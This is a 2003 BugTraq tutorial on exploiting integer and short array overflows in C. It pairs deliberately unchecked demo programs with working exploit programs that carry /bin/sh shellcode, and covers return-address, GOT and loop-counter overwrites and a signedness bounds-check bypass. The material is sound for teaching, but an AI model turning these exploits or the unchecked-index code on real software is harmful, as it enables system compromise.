BugTraq
[PAPER]: Integer array overflows. Sep 16 2003 09:12AM
Vade 79 (v9 fakehalo deadpig org)


PAPER: "Integer array overflows".

AUTHOR: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo).

HEADER: A tutorial on the exploitation of int, and short array overflows.

This paper discusses the exploitation of integer arrays due to lack of

calculations to limit the amount of elements added to them. This is a

fairly common occurrence in programming today, while somewhat known and

understood in character array form, I've never seen it mentioned on the

integer level.

Expectations for this paper are that you have knowledge of stack based

overflows, heap based overflows, memory workings, some knowledge of

character array overflows wouldn't hurt, and of course good ANSI C

programming experience.

All of the example programs and example exploits contained in this

paper were made and tested on RedHat/7.1 default install. It is possible

the values used may not be the same on every system. As such, you will

need to fully read the paper and test for yourself.

Integer array overflows happen much the same as any other lack of bounds

checking overflow occurs. In memory, after the allotted space provided to

hold the number of elements defined, are internal values and memory

addresses.

Once you have access to go beyond those bounds, you can overwrite

internal values just as easily as a standard buffer overflow. This is

possible because memory addresses on most architectures just happen to

be the same size as an integer; four bytes stored in memory. As such,

this allows you to not have to worry about alignment.

To illustrate how this looks on the memory level, in ascii:

int array[32];

Will look like (in memory):

[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]

[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]

[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]

[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]

[0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000]

[0x00000000][0x00000000]

Then, right after the 32nd(last) array value are internal values and

memory addresses, depending on each situation, making for possible

exploitable situations.

The fact that address notation and integer notation have the exact same

maximum limit of value (0xffffffff = 4294967295) makes this perfect for

any range of memory mangling.

Now it's time for a nice example of a buggy program:

INT_ARRAY.C: example buggy program.

/* int_array.c: a buggy test program. */

/* syntax: ./int_array [slot] [value] */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void place_int_array(unsigned int slot,int value){

int array[32];

array[slot]=value; /* the overwrite itself. */

printf("filled slot %u with %d.\n",slot,value);

return;

}

int main(int argc,char **argv){

if(argc!=3)

printf("syntax: %s [slot] [value]\n",argv[0]);

else

place_int_array(atoi(argv[1]),atoi(argv[2]));

exit(0);

}

INT_ARRAY.C: EOF.

Basically, all the example program does is fill the desired element with

the supplied value. So, time to tinker with the example program:

$ [root@localhost /root]# gcc int_array.c -o int_array

$ [root@localhost /root]# ./int_array 33 65535

$ filled slot 33 with 65535.

$ [root@localhost /root]# ./int_array 34 65535

$ filled slot 34 with 65535.

$ [root@localhost /root]# ./int_array 35 65535

$ filled slot 35 with 65535.

$ Segmentation fault (core dumped)

That's what I like to see; time to take it into gdb and examine.

$ [root@localhost /root]# gdb -c core

$ GNU gdb 5.0rh-5 Red Hat Linux 7.1

$ ...

$ This GDB was configured as "i386-redhat-linux".

$ Core was generated by `./int_array 35 65535'.

$ Program terminated with signal 11, Segmentation fault.

$ #0 0x0000ffff in ?? ()

$ (gdb)

Perfect, 0x0000ffff = 65535, the same value passed as the second

argument (note that it may not be slot 35 on every machine). So, we have

control of EIP in integer notation; no problem. As stated before, address

values and integer values are the same, just in different notation. This

is true for most common memory layouts, but not all.

Now, time to produce an example exploit for this example program:

EXPL_INT_ARRAY.C: example exploit, for a buggy program.

/* expl_int_array.c: int_array.c exploit. */

/* syntax: ./expl_int_array [0x????????] [#] */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* path to the buggy program. (int_array) */

#define PATH "./int_array"

/* size of shellcode buffer. */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1. */

static char x86_exec[]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"

"\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){

char n_to_s[16],*buf;

unsigned int ret;

/* take address given, to be converted to a */

/* numeric value. */

if(argc>2)

sscanf(argv[1],"%x",&ret);

else{

printf("syntax: %s [0x????????] [#]\n",argv[0]);

exit(0);

}

/* compensation: */

/* anything above 0x7fffffff will need to be */

/* passed as a negative value. subtract */

/* 0xffffffff in that case. it will loop */

/* over into the desired value. */

if(ret>0x7fffffff)

sprintf(n_to_s,"%d",ret-0xffffffff-1);

else

sprintf(n_to_s,"%u",ret);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0);

memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));

memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));

setenv("EXEC",buf,1);

free(buf)

/* some verbose display, informing! */

printf("* return address: 0x%x\n",ret);

printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s);

/* exploit it. */

execl(PATH,PATH,argv[2],n_to_s,0);

/* should not make it here, execution failed. */

exit(0);

}

EXPL_INT_ARRAY.C: EOF.

The exploit syntax is as follows: ./expl_int_array [slot number]

[address]. Where 'expl_int_array' will put shellcode in the environment

on top of the stack close to 0xbfffffff going downward. (for linux)

Since, in the exploit example I gave ~4000 bytes of NOP (no

operation/guesses) room, we'll use an address a bit from the top.

$ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array

$ [root@localhost /root]# ./expl_int_array 0xbffff000 35

$ * return address: 0xbffff000

$ * command line: ./int_array 35 -1073745920

$

$ filled slot 35 with -1073745920.

$ sh-2.04#

Presto, now let's spice it up a little bit. We'll change the original

int_array.c example code to contain some bounds checking.

INT_ARRAY.C: (rewrite of original) example buggy program.

/* int_array.c: a buggy test program. */

/* syntax: ./int_array [slot] [value] */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void place_int_array(int slot,int value){

int array[32];

if(slot>32)

printf("slot is greater than 32, out of bounds.\n");

else{

array[slot]=value; /* the overwrite itself. */

printf("filled slot %d with %d.\n",slot,value);

}

return;

}

int main(int argc,char **argv){

if(argc!=3)

printf("syntax: %s [slot] [value]\n",argv[0]);

else

place_int_array(atoi(argv[1]),atoi(argv[2]));

exit(0);

}

INT_ARRAY.C: (rewrite of original) EOF.

The main change in the example code (int_array.c) is that it checks for

writing to array slots greater than 32, but not checking for negative

values passed in an improper signedness situation.

Since this example code is just a rewrite of the original, we can use the

same example exploit used on the rewrite, as was on the original. So,

when we attempt the same example exploit command line as before, we get a

different result.

$ [root@localhost /root]# ./expl_int_array 0xbffff000 35

$ * return address: 0xbffff000

$ * command line: ./int_array 35 -1073745919

$

$ slot is greater than 32, out of bounds.

However, do to the improper signedness usage in the code, this can be

exploited by passing a large, specially crafted negative value.

If you remember, in the original example the magic number was 35. For

this situation, we can take that value and form a simple calculation to

make it bypass the bounds checking while overwriting the same area;

-2147483648(max) + 35 = -2147483613. Now let's see what happens.

$ [root@localhost /root]# ./expl_int_array 0xbffff000 -2147483613

$ * return address: 0xbffff000

$ * command line: ./int_array -2147483613 -1073745919

$

$ filled slot -2147483613 with -1073745919.

$ sh-2.04#

Simple as that, at least for this example. Now, let's rewrite the same

example one last time. This time we will allocate the array in the heap

instead of on the stack.

INT_ARRAY.C: (second rewrite of original) example buggy program.

/* int_array.c: a buggy test program. */

/* syntax: ./int_array [slot] [value] */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void place_int_array(int slot,int value){

int *array;

if(!(array=(int *)calloc(32,sizeof(int))))exit(1);

if(slot>32)

printf("slot is greater than 32, out of bounds.\n");

else{

array[slot]=value; /* the overwrite itself. */

printf("filled slot %d with %d.\n",slot,value);

}

return;

}

int main(int argc,char **argv){

if(argc!=3)

printf("syntax: %s [slot] [value]\n",argv[0]);

else

place_int_array(atoi(argv[1]),atoi(argv[2]));

exit(0);

}

INT_ARRAY.C: (second rewrite of original) EOF.

Alright, this is the rewrite of the first rewrite. Only new thing here is

the memory is allocated on the heap now. This changes things somewhat,

including methods of exploitation.

The method I am fond of in this kind of situation is to overwrite the

GOT("_GLOBAL_OFFSET_TABLE_") of other functions. Since the integer array

is located after the GOT section, we will use negative slot values to back

track.

In a small program, such as this example, the GOT section will not be too

far back. If the program is on a larger scale, you will most likely need

to travel back a good deal farther. On the flip-side of that coin, there

will most likely be more functions; meaning there will be more GOT

function addresses available to change.

You should hit magic spots in the GOT section around -45 to -70. The ones

that worked for me were -53, -55, -57, -59, and -62. As before, this is

just another rewrite of the original example code. We can use the same

example exploit code to exploit it, just different arguments.

$ [root@localhost /root]# ./expl_int_array 0xbffff000 -53

$ * return address: 0xbffff000

$ * command line: ./int_array -53 -1073745919

$

$ filled slot -53 with -1073745919.

$ sh-2.04#

Time to move on to a new example situation and example program.

When it comes to practical exploitation of integer arrays, it will most

likely be in a looped situation. In such a situation, you may need to

fill in other internal values to make it work.

For example, in many loop situations, the first value you overwrite may be

that of the increase/decrease integer (ie. "i++;") showing the location in

the loop and where to place in the array.

These situations can make it possible to jump from one location to another,

making it so we only overwrite the destination location desired. This is

done by passing a specially crafted value for the increase/decrease loop

integer, making the array element slot point to anywhere you want in

respective memory locations.

Here is an example of such a buggy program:

INT_ARRAY2.C: example buggy program.

/* int_array2.c: a buggy test program. */

/* syntax: ./int_array2 [value,value,...] */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

char *gettoken(char *,int,unsigned int);

void place_int_array(char *);

int main(int argc,char **argv){

if(argc!=2)

printf("syntax: %s [value,value,...]\n",argv[0]);

else

place_int_array(argv[1]);

exit(0);

}

/* place the string into the elements. */

void place_int_array(char *slot_values){

unsigned int i=0;

int array[32];

char *ptr;

/* overflow occurs here, no bounds checking. */

while((ptr=gettoken(slot_values,i,','))){

array[i]=atoi(ptr); /* the overwrite itself. */

printf("placed %d in array slot %u.\n",atoi(ptr),i);

i++; /* will be overwritten too. (first) */

}

return;

}

/* function to pluck out tokens. */

char *gettoken(char *string,int i,unsigned int sep){

unsigned int j=0,k=0;

char *buf;

if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);

memset(buf,0x0,(strlen(string)+1));

if(i<0)return(NULL);

else

for(j=0;j<strlen(string);j++){

if(string[j]==sep)i--;

else if(!i)buf[k++]=string[j];

if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);

}

if(i>0)return(NULL);

return(buf);

}

INT_ARRAY2.C: EOF.

The buggy program simply takes each number passed, separated by commas,

and adds it in sequenced order to the array without bounds checking.

Now, let's see what we can make it do.

$ [root@localhost /root]# gcc int_array2.c -o int_array2

$ [root@localhost /root]# ./int_array2 `perl -e 'print"123,"x50'`123

$ placed 123 in array slot 0.

$ placed 123 in array slot 1.

$ placed 123 in array slot 2.

$ placed 123 in array slot 3.

$ ...

$ placed 123 in array slot 32.

$ placed 123 in array slot 33.

$ placed 123 in array slot 34.

$ placed 123 in array slot 123.

$ [root@localhost /root]#

If you noticed, where slot 35 was supposed to be, got changed to our 123.

This means we have control of the loop integer described earlier. This

means we can make a jump, if desired, to only overwrite the location we

want to. Back to playing with the buggy program.

$ [root@localhost /root]# ./int_array2 `perl -e 'print"0,"x35'`35,0,0,0$ ,65535

$ placed 0 in array slot 0.

$ placed 0 in array slot 1.

$ placed 0 in array slot 2.

$ placed 0 in array slot 3.

$ ...

$ placed 0 in array slot 32.

$ placed 0 in array slot 33.

$ placed 0 in array slot 34.

$ placed 35 in array slot 35.

$ placed 0 in array slot 36.

$ placed 0 in array slot 37.

$ placed 0 in array slot 38.

$ placed 65535 in array slot 39.

$ Segmentation fault (core dumped)

Ah, good, I decided to just leave the loop integer with what it should

be (35) to keep the program sane for testing. Let's take the core into

gdb.

$ [root@localhost /root]# gdb -c core

$ GNU gdb 5.0rh-5 Red Hat Linux 7.1

$ ...

$ This GDB was configured as "i386-redhat-linux".

$ Core was generated by `./int_array2

$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'.

$ Program terminated with signal 11, Segmentation fault.

$ #0 0x0000ffff in ?? ()

Perfect, 0x0000ffff = 65535, just like the first examples. Now it's time

for the example exploit to prove the theory.

EXPL_INT_ARRAY2.C: example exploit, for a buggy program.

/* expl_int_array2.c: int_array2.c exploit. */

/* syntax: ./expl_int_array2 [0x????????] */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* path to the buggy program. (int_array2) */

#define PATH "./int_array2"

/* size of shellcode buffer. */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1. */

static char x86_exec[]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"

"\x62\x69\x6e\x2f\x73\x68";

/* fill the array up first. remember, the 38 */

/* is there because that is the location of */

/* the loop (increase) integer getting */

/* overwritten in that slot, which is slot 35 */

/* in this situation. since, EIP is at 38, */

/* might as well jump 35 to 38 while keeping */

/* the program sane. */

static char prefix[]=

"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"

"0,0,0,0,0,0,0,0,0,38,0,0,0,";

int main(int argc,char **argv){

char n_to_s[16],*buf;

unsigned int ret;

/* take address given, to be converted to a */

/* numeric value. */

if(argc>1)

sscanf(argv[1],"%x",&ret);

else{

printf("syntax: %s [0x????????]\n",argv[0]);

exit(0);

}

/* compensation: */

/* anything above 0x7fffffff will need to be */

/* passed as a negative value. subtract */

/* 0xffffffff in that case. it will loop */

/* over into the desired value. */

if(ret>0x7fffffff)

sprintf(n_to_s,"%d",ret-0xffffffff);

else

sprintf(n_to_s,"%u",ret);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1);

memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));

memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));

setenv("EXEC",buf,1);

free(buf);

/* make the final array argument to pass. */

if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1);

sprintf(buf,"%s%s",prefix,n_to_s);

/* some verbose display, informing! */

printf("* return address: 0x%x\n",ret);

printf("* command line: %s %s\n\n",PATH,buf);

/* exploit it. */

execl(PATH,PATH,buf,0);

/* should not make it here, execution failed. */

exit(0);

}

EXPL_INT_ARRAY2.C: EOF.

The syntax for the example exploit is virtually the same as the first

except the only argument needed is an address. On with the show.

$ [root@localhost /root]# gcc expl_int_array2.c -o expl_int_array2

$ [root@localhost /root]# ./expl_int_array2 0xbffff000

$ * return address: 0xbffff000

$ * command line: ./int_array2 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,

$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,38,0,0,0,-1073745919

$

$ placed 0 in array slot 0.

$ placed 0 in array slot 1.

$ placed 0 in array slot 2.

$ placed 0 in array slot 3.

$ ...

$ placed 0 in array slot 32.

$ placed 0 in array slot 33.

$ placed 0 in array slot 34.

$ placed 38 in array slot 38.

$ placed -1073745919 in array slot 39.

$ sh-2.04#

Now for one last example. We are going to take the same idea as the

int_array2.c example except use a 'short' array instead.

Exploiting a short array will be slightly different than that of an int

array. The main difference being that short's are stored as two bytes

and int's are four bytes. If you have experience with format string bugs,

the format of exploitation will be very similar to that of the "half

numbers".

Here is the buggy short array example program.

SHORT_ARRAY.C: example buggy program.

/* short_array.c: a buggy test program. */

/* syntax: ./short_array [value,value,...] */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

char *gettoken(char *,int,unsigned int);

void place_short_array(char *);

int main(int argc,char **argv){

if(argc!=2)

printf("syntax: %s [value,value,...]\n",argv[0]);

else

place_short_array(argv[1]);

exit(0);

}

/* place the string into the elements. */

void place_short_array(char *slot_values){

unsigned int i=0;

short array[32];

char *ptr;

/* overflow occurs here, no bounds checking. */

while((ptr=gettoken(slot_values,i,','))){

array[i]=atoi(ptr); /* the overwrite itself. */

printf("placed %d in array slot %u.\n",atoi(ptr),i);

i++; /* will be overwritten too. (first) */

}

return;

}

/* function to pluck out tokens. */

char *gettoken(char *string,int i,unsigned int sep){

unsigned int j=0,k=0;

char *buf;

if(!(buf=(char *)malloc(strlen(string)+1)))exit(1);

memset(buf,0x0,(strlen(string)+1));

if(i<0)return(NULL);

else

for(j=0;j<strlen(string);j++){

if(string[j]==sep)i--;

else if(!i)buf[k++]=string[j];

if(string[j]==0x0A||string[j]==0x0)j=(strlen(string)+1);

}

if(i>0)return(NULL);

return(buf);

}

SHORT_ARRAY.C: EOF.

If you noticed, the only difference between this and int_array2.c is that

the array is a short. So, since the values are half the size of an int,

it is going to take twice as many elements to do what we want (after that

array).

Here is how short_array responds under the same testing on int_array2.

$ [root@localhost /root]# gcc short_array.c -o short_array

$ [root@localhost /root]# ./short_array `perl -e 'print"0,"x32'`0,0,0,0$ ,0,0,38,0,0,0,0,0,0,0,65535,43690

$ placed 0 in array slot 0.

$ placed 0 in array slot 1.

$ placed 0 in array slot 2.

$ placed 0 in array slot 3.

$ ...

$ placed 0 in array slot 32.

$ placed 0 in array slot 33.

$ placed 0 in array slot 34.

$ placed 0 in array slot 35.

$ placed 0 in array slot 36.

$ placed 0 in array slot 37.

$ placed 38 in array slot 38.

$ placed 0 in array slot 39.

$ placed 0 in array slot 40.

$ placed 0 in array slot 41.

$ placed 0 in array slot 42.

$ placed 0 in array slot 43.

$ placed 0 in array slot 44.

$ placed 0 in array slot 45.

$ placed 65535 in array slot 46.

$ placed 43690 in array slot 47.

$ Segmentation fault (core dumped)

$ [root@localhost /root]# gdb -c core

$ GNU gdb 5.0rh-5 Red Hat Linux 7.1

$ ...

$ This GDB was configured as "i386-redhat-linux".

$ Core was generated by `./short_array

$ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0'.

$ Program terminated with signal 11, Segmentation fault.

$ #0 0xaaaaffff in ?? ()

Everything occurs about the same as in int_array2, doubled in values,

including the doubling to make the address value. Where 65535 is 0xffff

and 0x43690 is 0xaaaa.

As a side note, if you are overwriting a loop integer with short elements,

you will want to leave half of the integer as a 0 (0x0000) unless the

integer is over 65535 (0xffff), which is not a likely scenario for a loop

integer.

On with the demonstration exploit.

EXPL_SHORT_ARRAY.C: example exploit, for a buggy program.

/* expl_short_array.c: short_array.c exploit. */

/* syntax: ./expl_short_array [0x????????] */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

/* path to the buggy program. (short_array) */

#define PATH "./short_array"

/* size of shellcode buffer. */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1. */

static char x86_exec[]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"

"\x62\x69\x6e\x2f\x73\x68";

/* fill the array up first. remember, the 45 */

/* is there because that is the location of */

/* the loop (increase) integer getting */

/* overwritten in that slot, which is slot 38 */

/* in this situation. since, EIP is at 45, */

/* might as well jump 38 to 45 while keeping */

/* the program sane. */

static char prefix[]=

"0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"

"0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,";

int main(int argc,char **argv){

char n_to_s[16],*buf;

unsigned int ret;

/* take address given, to be converted to a */

/* numeric value. */

if(argc>1)

sscanf(argv[1],"%x",&ret);

else{

printf("syntax: %s [0x????????]\n",argv[0]);

exit(0);

}

/* compensation: */

/* as short's are two bytes, it will be */

/* broken down into two element overwrites. */

/* also, don't need to worry about negative */

/* values in this situation. */

sprintf(n_to_s,"%u,%u",(ret&0x0000ffff),(ret&0xffff0000)>>16);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1);

memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));

memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));

setenv("EXEC",buf,1);

free(buf);

/* make the final array argument to pass. */

if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1);

sprintf(buf,"%s%s",prefix,n_to_s);

/* some verbose display, informing! */

printf("* return address: 0x%x\n",ret);

printf("* command line: %s %s\n\n",PATH,buf);

/* exploit it. */

execl(PATH,PATH,buf,0);

/* should not make it here, execution failed. */

exit(0);

}

EXPL_SHORT_ARRAY.C: EOF.

And demonstrate.

$ [root@localhost /root]# ./expl_short_array 0xbffff000

$ * return address: 0xbffff000

$ * command line: ./short_array 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

$ ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,61440,49151

$

$ placed 0 in array slot 0.

$ placed 0 in array slot 1.

$ placed 0 in array slot 2.

$ placed 0 in array slot 3.

$ ...

$ placed 0 in array slot 32.

$ placed 0 in array slot 33.

$ placed 0 in array slot 34.

$ placed 0 in array slot 35.

$ placed 0 in array slot 36.

$ placed 0 in array slot 37.

$ placed 45 in array slot 45.

$ placed 61440 in array slot 46.

$ placed 49151 in array slot 47.

$ sh-2.04#

Poof, and that's that. As this paper has shown, integer array overflows

are not limited to the stack or heap, or even one brand of integer. The

same rules, if not less, apply to integer array overflows that do to any

other kind of overflow.

Any of these situations can also occur with character arrays in the same

manner. The only difference being you cannot use null bytes in character

array situations as you can with integer arrays.

Also remember, signedness can play a major role in exploitation of these

bugs. If proper signedness is used, it may render the negative value

method useless. This only applies to the rewrites of the int_array.c

example.

I hope this short and to-the-point paper has helped to explain the

potential of these kinds of overflows, and has shown how to effectively

exploit them.

Origin reference: http://fakehalo.deadpig.org/IAO-paper.txt

Vade79 -> v9 (at) fakehalo.deadpig (dot) org [email concealed] -> fakehalo.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus